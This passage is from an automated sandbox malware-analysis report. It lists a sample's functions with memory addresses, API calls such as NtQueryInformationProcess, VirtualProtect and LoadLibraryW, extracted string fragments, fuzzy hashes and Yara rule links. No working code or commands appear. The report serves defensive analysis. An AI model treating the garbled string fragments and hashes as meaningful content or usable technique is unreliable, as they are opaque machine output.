NtQueryInformationProcess, xrefs: 6C9D3030
ntdll.dll, xrefs: 6C9D301C

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: HandleModule
String ID: NtQueryInformationProcess$ntdll.dll
API String ID: 4139908857-2906145389
Opcode ID: 22e1b1e3b8f7ade1f389147e3b2c7232b76f1cc7c30dec89149987ac85f4fd45
Instruction ID: 0270a43da5cba77fe20ada79d07aa4200636364e8e0cd3f3ff81bddb02c4a84b
Opcode Fuzzy Hash: 22e1b1e3b8f7ade1f389147e3b2c7232b76f1cc7c30dec89149987ac85f4fd45
Instruction Fuzzy Hash: 64E19272A05A058FCB08CEBCC6947CDBBF1FB46355F21C519E415EBB54D639EA098B02

Function 015A2488 Relevance: 2.7, Strings: 2, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te^q, xrefs: 015A2579
Te^q, xrefs: 015A270D

Memory Dump Source

Source File: 00000007.00000002.2671287755.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15a0000_5468191780.jbxd

Similarity

API ID:
String ID: Te^q$Te^q
API String ID: 0-3743469327
Opcode ID: 4c4c10d3b3c3f4eb6e6dc6b401c1566bf7b027cffb5f0f0109c67e12e9bb1f3e
Instruction ID: 7d42ba00cef7dcbb63a8a9eb12f1d1aa3666300dafed0742544ba29810a8930d
Opcode Fuzzy Hash: 4c4c10d3b3c3f4eb6e6dc6b401c1566bf7b027cffb5f0f0109c67e12e9bb1f3e
Instruction Fuzzy Hash: C8A10574E40209CFCB48CFA9D981AEDBBF2FF89320F14852AD415AB654D735A946CF60

Function 015A2510 Relevance: 2.7, Strings: 2, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te^q, xrefs: 015A2579
Te^q, xrefs: 015A270D

Memory Dump Source

Source File: 00000007.00000002.2671287755.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15a0000_5468191780.jbxd

Similarity

API ID:
String ID: Te^q$Te^q
API String ID: 0-3743469327
Opcode ID: a2aa570dcfaac514db2fd36f84e7b638422c0c6701588a98146592a0110f32db
Instruction ID: 451a36a51ed11fb3aefbfd38d8b1fb83c169a707915607e92ff9ed972f586d55
Opcode Fuzzy Hash: a2aa570dcfaac514db2fd36f84e7b638422c0c6701588a98146592a0110f32db
Instruction Fuzzy Hash: F881A374E002198FDB48CFAAC894AAEBBF2FF88310F54842AD516AB354DB309945CF50

Function 015A2C69 Relevance: 2.7, Strings: 2, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

T+&, xrefs: 015A2E17
T+&, xrefs: 015A2E1E

Memory Dump Source

Source File: 00000007.00000002.2671287755.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15a0000_5468191780.jbxd

Similarity

API ID:
String ID: T+&$T+&
API String ID: 0-996301677
Opcode ID: 7467e018779291344a934a314357c5ffc79e2732391f7dc0c9e7e648d6ebe3f1
Instruction ID: 48dd8733427520867bb332056b8d339ebef3a054f3f145f712585a3edf7dc5eb
Opcode Fuzzy Hash: 7467e018779291344a934a314357c5ffc79e2732391f7dc0c9e7e648d6ebe3f1
Instruction Fuzzy Hash: D1515D70E402099FCB08CFAAC4516AEFBF2FF88300F64D42AD519AB255D7349A41CF65

Function 015A44B1 Relevance: 1.7, Strings: 1, Instructions: 403
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

vaJ, xrefs: 015A49B8

Memory Dump Source

Source File: 00000007.00000002.2671287755.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15a0000_5468191780.jbxd

Similarity

API ID:
String ID: vaJ
API String ID: 0-2446125052
Opcode ID: 563ff2c43786183d5e798dc947f9f42e37251727b1bf60a3a0e16ce007281b72
Instruction ID: e6e2778dde2a52ae5174cdcf4e95d49c92510c62bb0fa34655b2e4edceb334d9
Opcode Fuzzy Hash: 563ff2c43786183d5e798dc947f9f42e37251727b1bf60a3a0e16ce007281b72
Instruction Fuzzy Hash: 2EF15A70E4430ADFCB54CF95D5804AEFBB2FF89321B69D66AD015AB614D338A942CF90

Function 015A45A8 Relevance: 1.6, Strings: 1, Instructions: 308
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

vaJ, xrefs: 015A49B8

Memory Dump Source

Source File: 00000007.00000002.2671287755.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15a0000_5468191780.jbxd

Similarity

API ID:
String ID: vaJ
API String ID: 0-2446125052
Opcode ID: 899dc38dc4094111b2aaa8fb7211933171cf1477f7373c9154b822a0e6bcbe79
Instruction ID: 1f3be4aacf0928a04dae7c5d4d51828d873f3b3a8e0b32a23b1bc3d77af8adca
Opcode Fuzzy Hash: 899dc38dc4094111b2aaa8fb7211933171cf1477f7373c9154b822a0e6bcbe79
Instruction Fuzzy Hash: A7D11570E0420ADFCB14CFA9C5808AEFBB2FF89311B68D959D415AB214D774AA42CF90

Function 015A0910 Relevance: 1.4, Strings: 1, Instructions: 148COMMON

Download Yara Rule

Strings

<, xrefs: 015A0A4A

Memory Dump Source

Source File: 00000007.00000002.2671287755.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15a0000_5468191780.jbxd

Similarity

API ID:
String ID: <
API String ID: 0-4251816714
Opcode ID: 287e1452c867f208dafc0de78e5ea9652acb52cc589725f4d506572fb3b2e7b0
Instruction ID: 0d796c9265a058690d2925a4199c7f3e843476522c63de40f212873566bd07b3
Opcode Fuzzy Hash: 287e1452c867f208dafc0de78e5ea9652acb52cc589725f4d506572fb3b2e7b0
Instruction Fuzzy Hash: C2618375E00658CFDB58CFAAC9446DDBBF2BF89301F14C1AAD408AB265EB345A85CF50

Function 015A787F Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2671287755.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15a0000_5468191780.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ec315fc89d69d5c9fcb8bbc76bbe820e6231183fff767f9e2ed677aba09fa90
Instruction ID: 4fca0a997836343236500bee7c2384948974c0152df3319cade60ec5c9cff165
Opcode Fuzzy Hash: 5ec315fc89d69d5c9fcb8bbc76bbe820e6231183fff767f9e2ed677aba09fa90
Instruction Fuzzy Hash: 58818AB2E407558FDB68CF6A994029DBBF2FFC9320F58C1BAC5489A215E7310A46CF51

Function 015ADA00 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2671287755.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15a0000_5468191780.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d314d162df995d3a3006613e7be095c60a0af9178d79c57339f536cbd3fceaa9
Instruction ID: 76ee539f1bfbe633d6dc65aa378d2a1aa783b48a6dd13b4f4a5b53ce187c1c58
Opcode Fuzzy Hash: d314d162df995d3a3006613e7be095c60a0af9178d79c57339f536cbd3fceaa9
Instruction Fuzzy Hash: EB513770D45208CBCB04DFE9D5545EDFBF2FB8D210F58982AD42ABB668D77499018F28

Function 015ABE28 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2671287755.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15a0000_5468191780.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5ab60a2046887ae006886a035c2c68ca23da6dff45153c40be988e0aa8d1551
Instruction ID: 2e4011446d15a8f881c927ade4ae1a8e9ba9d47ec257a27e903108200dde1913
Opcode Fuzzy Hash: a5ab60a2046887ae006886a035c2c68ca23da6dff45153c40be988e0aa8d1551
Instruction Fuzzy Hash: D36127B4E01309DFCB18CFA6D45469EBBF2FB88300F60C46AD915AB368EB345A459F50

Function 015A3681 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2671287755.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15a0000_5468191780.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08ee01f1e6a7ca2aea97270f75738fb4d82d67aa6a0d0a4707d9a9008d57115c
Instruction ID: 65f3a408591958d1c02f9492e36ac50ba41c91e7d7d007fd0ef213af547ba1cf
Opcode Fuzzy Hash: 08ee01f1e6a7ca2aea97270f75738fb4d82d67aa6a0d0a4707d9a9008d57115c
Instruction Fuzzy Hash: 77310871E006189BDB58CFAAD8446DEFFF2BFC9314F18C16AD408AA268DB341949CF51

Function 6C9D6CC8 Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6C9D6D0F
___scrt_uninitialize_crt.LIBCMT ref: 6C9D6D29

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 54cfa88b262c87d2e616e363dea9ea4278e9c0a20d0c87235bb343b39e421b29
Instruction ID: 19bb78cb3ad963ae947010c1c691e54d76fd75985104a63e0535f7b8772aeccf
Opcode Fuzzy Hash: 54cfa88b262c87d2e616e363dea9ea4278e9c0a20d0c87235bb343b39e421b29
Instruction Fuzzy Hash: 0141E772D05A15ABDB218FA5DC00B9E7E79EBA1798F03C915E814F7B40C730E916CBA0

Function 6C9D6D78 Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6C9D6DB5
dllmain_crt_dispatch.LIBCMT ref: 6C9D6DCC
dllmain_raw.LIBCMT ref: 6C9D6E14
dllmain_crt_dispatch.LIBCMT ref: 6C9D6E27
dllmain_raw.LIBCMT ref: 6C9D6E3A

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: f8fde8a6caefedb6b6675cbc52a591e57eddbcb21c36a1d172a0d852a24cc03c
Instruction ID: a04e7f605461f805fad383523857c152b4487988a708a1b91dacba29f9f08a86
Opcode Fuzzy Hash: f8fde8a6caefedb6b6675cbc52a591e57eddbcb21c36a1d172a0d852a24cc03c
Instruction Fuzzy Hash: 89218272D05A16AACB214E55DC40AAF3E7DEBA1B98F038915E814F6B10C330ED21CBE0

Function 6C9D6BC1 Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6C9D6C0E

Part of subcall function 6C9D708B: InitializeSListHead.KERNEL32(6CA34798,6C9D6C18,6C9E60D8,00000010,6C9D6BA9,?,?,?,6C9D6DD1,?,00000001,?,?,00000001,?,6C9E6120), ref: 6C9D7090

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6C9D6C78

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: 0cea3b419adeb5f434487d259e9d2788d6dd00f6f454db4f7c106f72cf8a06a2
Instruction ID: 50874beda7c3f524f13d915e92c6720fe3fec13a575fb72effc3ffd93ae0ca8d
Opcode Fuzzy Hash: 0cea3b419adeb5f434487d259e9d2788d6dd00f6f454db4f7c106f72cf8a06a2
Instruction Fuzzy Hash: 74212031209B419ADF166BB4A8107DC3BA0DF7726DF22C809D644B7FC2CB22F149C6A5

Function 6C9DB9ED Relevance: 3.1, APIs: 2, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 6C9DBA39
GetFileType.KERNELBASE(00000000), ref: 6C9DBA4B

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: f60cfd999ab8d8a145b8eaef0e001db9f9c4be578ee80af5d5842d4fab6146a5
Instruction ID: 5f3822e37e86f0be624394257474f1186ca0ca13d09d291d00f3f7df533b73ad
Opcode Fuzzy Hash: f60cfd999ab8d8a145b8eaef0e001db9f9c4be578ee80af5d5842d4fab6146a5
Instruction Fuzzy Hash: D611DA32608F524ACB304E3E8C84B12BAF99757278B3687D9D0BAE69F1C630F546D241

Function 6C9DC250 Relevance: 3.1, APIs: 2, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 6C9DC27E
_free.LIBCMT ref: 6C9DC2A4

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 53c2858031d2a9c9fad809643372003884b679deedf49d466e1f4a65f000eb75
Instruction ID: 247d69eec2428a970c0372f36c251eadcfe894f3a2db93ec3e8c38b8ff65afe0
Opcode Fuzzy Hash: 53c2858031d2a9c9fad809643372003884b679deedf49d466e1f4a65f000eb75
Instruction Fuzzy Hash: 24113F32B04B4187DB209E6D9C107853B7A7712B39F26C316F635E7EC0D7B5E8464240

Function 015A1784 Relevance: 1.7, APIs: 1, Instructions: 191
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.2671287755.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15a0000_5468191780.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5699f9aed51b6cf444133f3abab6d764c01446227c86d7d0f17eb195895114f6
Instruction ID: 6d7d0c0292317d11fa188f3f2c2f6d7517027ec4eb6e7ed94f9f0a66f4813906
Opcode Fuzzy Hash: 5699f9aed51b6cf444133f3abab6d764c01446227c86d7d0f17eb195895114f6
Instruction Fuzzy Hash: 3A614775E453598FCB50CFA4E9805DDFBB1FF45320F29826AE448AB611D3389986CF90

Function 015AA140 Relevance: 1.6, APIs: 1, Instructions: 94
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 015AA1E7

Memory Dump Source

Source File: 00000007.00000002.2671287755.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15a0000_5468191780.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 182dbf340172c6ea622af68dc5d1a4c9b95ae24b4fe45effd9291cd5118b694e
Instruction ID: b7a7d859619c5cafdec5eb2c97e95478420cd1d39f2e58ec34ec1eb7c7f430ab
Opcode Fuzzy Hash: 182dbf340172c6ea622af68dc5d1a4c9b95ae24b4fe45effd9291cd5118b694e
Instruction Fuzzy Hash: 1C3199B9D042589FCB14CFA9E884ADEFBF1BB09310F24902AE814B7250D735A945CF64

Function 015A18B0 Relevance: 1.6, APIs: 1, Instructions: 94
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 015A1957

Memory Dump Source

Source File: 00000007.00000002.2671287755.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15a0000_5468191780.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 96f2092e0b5261782ce06f661ef9e7ab3480970f63212bd19c86dec2e84612ae
Instruction ID: 2add646279adc5f862c99a8675c07fd22bff6ec70b0da1b22d136e682428b53a
Opcode Fuzzy Hash: 96f2092e0b5261782ce06f661ef9e7ab3480970f63212bd19c86dec2e84612ae
Instruction Fuzzy Hash: B03199B9D042589FCB14CFA9D484ADEFBF1BB09310F14902AE814B7350D735A945CF64

Function 015AEDE0 Relevance: 1.6, APIs: 1, Instructions: 81
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(?), ref: 015AEE79

Memory Dump Source

Source File: 00000007.00000002.2671287755.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15a0000_5468191780.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: cfe8d2ed1649246d0cfbdf06750447a7186f39159e38112b383d6024ab851817
Instruction ID: d95e1104e6611e2ad0c19eca7fb48e85e6788602c490a1bc384011ab069b53b7
Opcode Fuzzy Hash: cfe8d2ed1649246d0cfbdf06750447a7186f39159e38112b383d6024ab851817
Instruction Fuzzy Hash: 9F3196B4D012189FCB14CFAAD984A9EFBF5BB49310F14902AE908B7350D334A945CB64

Function 6C9D9FB6 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6C9D9BB9,00000001,00000364,00000013,000000FF,?,00000001,6C9D9FA8,6C9DA039,?,?,6C9D924C), ref: 6C9D9FF7

Memory Dump Source

Source File: 00000007.00000002.2673042606.000000006C9D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C9D0000, based on PE: true

Associated: 00000007.00000002.2673004051.000000006C9D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673085396.000000006C9E1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: bfcdce14396c70e2acf8f81128f0c387954eed5bcca44eda4664acf823d4ba5c
Instruction ID: 4dfb643adfb69fd62f16888519f9dfe6a769eb609c472faf803feb9696c01867
Opcode Fuzzy Hash: bfcdce14396c70e2acf8f81128f0c387954eed5bcca44eda4664acf823d4ba5c
Instruction Fuzzy Hash: 78F0BB32609D2596EB226A2ADC10F9E375C9F97774B13C111EC14F6A40CF64F82586E6

Function 015AF308 Relevance: 1.3, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 015AF385

Memory Dump Source

Source File: 00000007.00000002.2671287755.00000000015A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15a0000_5468191780.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 0120a144cb4e07e63c14745c1d64886b2f8ed1e90cdc325fcfdb527ad700982e
Instruction ID: c6393ee6c3998b722c91ff98235fbe56c54b6273782590c299d4182a7dc7351f
Opcode Fuzzy Hash: 0120a144cb4e07e63c14745c1d64886b2f8ed1e90cdc325fcfdb527ad700982e
Instruction Fuzzy Hash: 3B31ACB4D012589FCB10CFA9D584AEEFBF4BB09310F14946AE414B7350C734A945CF64

Non-executed Functions

Function 6C9F3305 Relevance: 15.6, Strings: 12, Instructions: 574COMMON

Download Yara Rule

Strings

;[*], xrefs: 6C9F39BB
<KuM, xrefs: 6C9F398F
c]e, xrefs: 6C9F39FD
(), xrefs: 6C9F3B16
N3F5, xrefs: 6C9F3979
0C%E, xrefs: 6C9F39A5
y?O1, xrefs: 6C9F372D, 6C9F373F
7W"i, xrefs: 6C9F39DC
,_"Q, xrefs: 6C9F39C6
S7HI, xrefs: 6C9F3984
+S7U, xrefs: 6C9F39D1
gy, xrefs: 6C9F3A08

Memory Dump Source

Source File: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmp, Offset: 6C9E7000, based on PE: true

Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID: ()$+S7U$,_"Q$0C%E$7W"i$;[*]$<KuM$N3F5$S7HI$y?O1$c]e$gy
API String ID: 0-3422605938
Opcode ID: 6a27f7e45c3958173636c6b8a9acb6d175aaf4e0dfeaba9503e7b55f9da9a95f
Instruction ID: 534282643dd931f697e2523c4393b3a5dac6cfe55a38178f10e7f9d5a5df9efe
Opcode Fuzzy Hash: 6a27f7e45c3958173636c6b8a9acb6d175aaf4e0dfeaba9503e7b55f9da9a95f
Instruction Fuzzy Hash: DF120DB154D3C18ED3358F25C494BDFBBA1ABD2308F28896CC4EA5B646C775450ACB93

Function 6C9EF9A0 Relevance: 15.3, Strings: 12, Instructions: 321COMMON

Download Yara Rule

Strings

txfF, xrefs: 6C9EFA10
_CYG, xrefs: 6C9EFA38
=86o, xrefs: 6C9EFA88
BDZF, xrefs: 6C9EFA28
u{{h, xrefs: 6C9EF9F0
n[, xrefs: 6C9EFA30
p8Bb, xrefs: 6C9EF9E8
f)2s, xrefs: 6C9EFA00
N, xrefs: 6C9EFAA1
SD]z, xrefs: 6C9EFA40
mmi., xrefs: 6C9EFA08
8, xrefs: 6C9EFC38

Memory Dump Source

Source File: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmp, Offset: 6C9E7000, based on PE: true

Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID: n[$8$=86o$BDZF$N$SD]z$_CYG$f)2s$mmi.$p8Bb$txfF$u{{h
API String ID: 0-384187386
Opcode ID: 578ec2abbabe365fbc4cf216dfa880c0b4fbed3490639f32b80134297e98552c
Instruction ID: db1ba7a541f407dd7d9664d5e031b368fcdf23e16214b822d9ddcf5063c0d17e
Opcode Fuzzy Hash: 578ec2abbabe365fbc4cf216dfa880c0b4fbed3490639f32b80134297e98552c
Instruction Fuzzy Hash: 6E91D47010C3D18BD3168F39906036BBFE1AFA7249F2889ADD4D58B692D779C509CB92

Function 6C9EFCF0 Relevance: 10.4, Strings: 8, Instructions: 428COMMON

Download Yara Rule

Strings

DG, xrefs: 6C9F0135
fhnf, xrefs: 6C9F0010
xy, xrefs: 6C9F0203
Ohs,, xrefs: 6C9EFF2A
su, xrefs: 6C9F00CD
chs,, xrefs: 6C9EFF51
fhnf, xrefs: 6C9EFDB7, 6C9EFDE0, 6C9EFFE4
{}, xrefs: 6C9F00BD

Memory Dump Source

Source File: 00000007.00000002.2673123999.000000006C9E7000.00000004.00000001.01000000.0000000C.sdmp, Offset: 6C9E7000, based on PE: true

Associated: 00000007.00000002.2673206790.000000006CA35000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c9d0000_5468191780.jbxd

Similarity

API ID:
String ID: DG$Ohs,$chs,$fhnf$fhnf$xy$su${}
API String ID: 0-2124332573
Opcode ID: c1cb6fd466606ea26a33a270c36cfb51fa2021dcd26732d89cca2161e0a20b54
Instruction ID: ed1fa31c9be449ee7babe9454c3d3e36876ea3ed3c130b3855fb254cb5eeea50
Opcode Fuzzy Hash: c1cb6fd466606ea26a33a270c36cfb51fa2021dcd26732d89cca2161e0a20b54
Instruction Fuzzy Hash: D6E16B72A083908BD314CF35D8513ABBBE6EFD5318F198A2DE5E18B395D734C9058B82

Function 00DF5570 Relevance: 9.0, Strings: 7, Instructions: 235COMMON

Download Yara Rule

Strings

8, xrefs: 00DF5753
5[Y, xrefs: 00DF5716
}~, xrefs: 00DF563A
_], xrefs: 00DF5587
SRQ, xrefs: 00DF558F
Lw, xrefs: 00DF5632
CN, xrefs: 00DF562A

Memory Dump Source

Source File: 00000007.00000002.2669917004.0000000000DC2000.00000040.00000001.01000000.00000009.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000007.00000002.2669882827.0000000000DC0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2669989475.0000000000E46000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_dc0000_5468191780.jbxd

Similarity

API ID:
String ID: 5[Y$8$CN$Lw$}~$SRQ$_]
API String ID: 0-3274379026
Opcode ID: 2ef088fb791fcb4b5d07652d7079772ea40ef3d6f1599daa881505971eba02cf
Instruction ID: f5f07e146c8963528e3f5ae111f8520482c7fe8ad88c568f5d2cda3fef518b48
Opcode Fuzzy Hash: 2ef088fb791fcb4b5d07652d7079772ea40ef3d6f1599daa881505971eba02cf
Instruction Fuzzy Hash: 845177725183918BD320CF25C8902BBBBF2FFC2311F59895CE9D18B258EB749906C792

Function 6CA03F30 Relevance: 9.0, Strings: 7, Instructions: 235COMMON

Download Yara Rule

Strings

8, xrefs: 6CA04113
CN, xrefs: 6CA03FEA
